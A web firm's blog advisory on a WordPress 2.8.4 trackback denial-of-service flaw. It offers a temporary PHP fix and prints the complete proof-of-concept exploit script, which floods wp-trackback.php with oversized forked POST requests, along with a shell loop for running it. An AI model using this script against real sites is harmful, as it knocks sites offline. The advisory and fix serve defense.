Call Us : 623 239 2898

    Email : info@vistawebmedia.com


    20
    Oct

    This exploit has been patched in the new 2.8.5 version of Wordpress. Download it at: http://wordpress.org/download/

    If you are running Wordpress 2.8.4 there is an exploit out there that will allow someone to DOS your site.

    Here is a TEMPORARY fix until there is an official update from Wordpress:

    Copy this code into your theme’s functions.php file. If there isn’t a file called functions.php create one.

    1.  
    2. <?php
    3.  
    4. // WP Trackback Temp Fix
    5.  
    6. function ft_stop_trackback_dos_attacks(){
    7.         global $pagenow;
    8.         if ( 'wp-trackback.php' == $pagenow ){
    9.                 // DoS attack fix.
    10.                 if ( isset($_POST['charset']) ){
    11.                         $charset = $_POST['charset'];
    12.                         if ( strlen($charset) > 50 ) {  die; }
    13.                 }
    14.         }
    15. }
    16. add_action('init','ft_stop_trackback_dos_attacks');
    17.  
    18. ?>

    Here is the proof of concept code (i.e. the exploit) DO NOT put this in your functions.php:

    1. <?php
    2. /*
    3.  * wordpress Resource exhaustion Exploit
    4.  * http://rooibo.wordpress.com/
    5.  * security@wordpress.org contacted and get a response,
    6.  * but no solution available.
    7.  *
    8.  * [18/10/2009 20:31:00] modified by Zerial http://blog.zerial.org <panic@zerial.org>
    9.  *
    10.  * exploiting:
    11.  * you must install php-cli (command line interface)
    12.  * $ while /bin/true; do php wp-trackbacks_dos.php http://target.com/wordpress; done
    13.  *
    14.  */
    15. if(count($argv) < 2)
    16.     die("You need to specify a url to attack\n");
    17. $url = $argv[1];
    18. $data = parse_url($url);
    19. if(count($data) < 2)
    20.     die("The url should have http:// in front of it, and should be complete.\n");
    21. $path = (count($data)==2)?"":$data['path'];
    22. $path = trim($path,'/').'/wp-trackback.php';
    23. if($path{0} != '/')
    24.     $path = '/'.$path;
    25. $b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
    26. $charset = "";
    27. $charset = str_pad($charset,140000,"UTF-8,");
    28. $str = 'charset='.urlencode($charset);
    29. $str .= '&url=www.example.com';
    30. $str .= '&title='.$b;
    31. $str .= '&blog_name=lol';
    32. $str .= '&excerpt=lol';
    33. for($n = 0; $n <= 5; $n++){
    34.     $fp = @fsockopen($data['host'],80);
    35.         if(!$fp)
    36.         die("unable to connect to: ".$data['host']."\n");
    37.     $pid[$n] = pcntl_fork();
    38.     if(!$pid[$n]){
    39.         fputs($fp, "POST $path HTTP/1.1\r\n");
    40.         fputs($fp, "Host: ".$data['host']."\r\n");
    41.         fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
    42.         fputs($fp, "Content-length: ".strlen($str)."\r\n");
    43.         fputs($fp, "Connection: close\r\n\r\n");
    44.         fputs($fp, $str."\r\n\r\n");
    45.         echo "hit!\n";
    46.     }
    47. }
    48. ?>
    Share This :
    • Digg
    • Sphinn
    • del.icio.us
    • Reddit
    • StumbleUpon
    • Twitter
    Category : Technical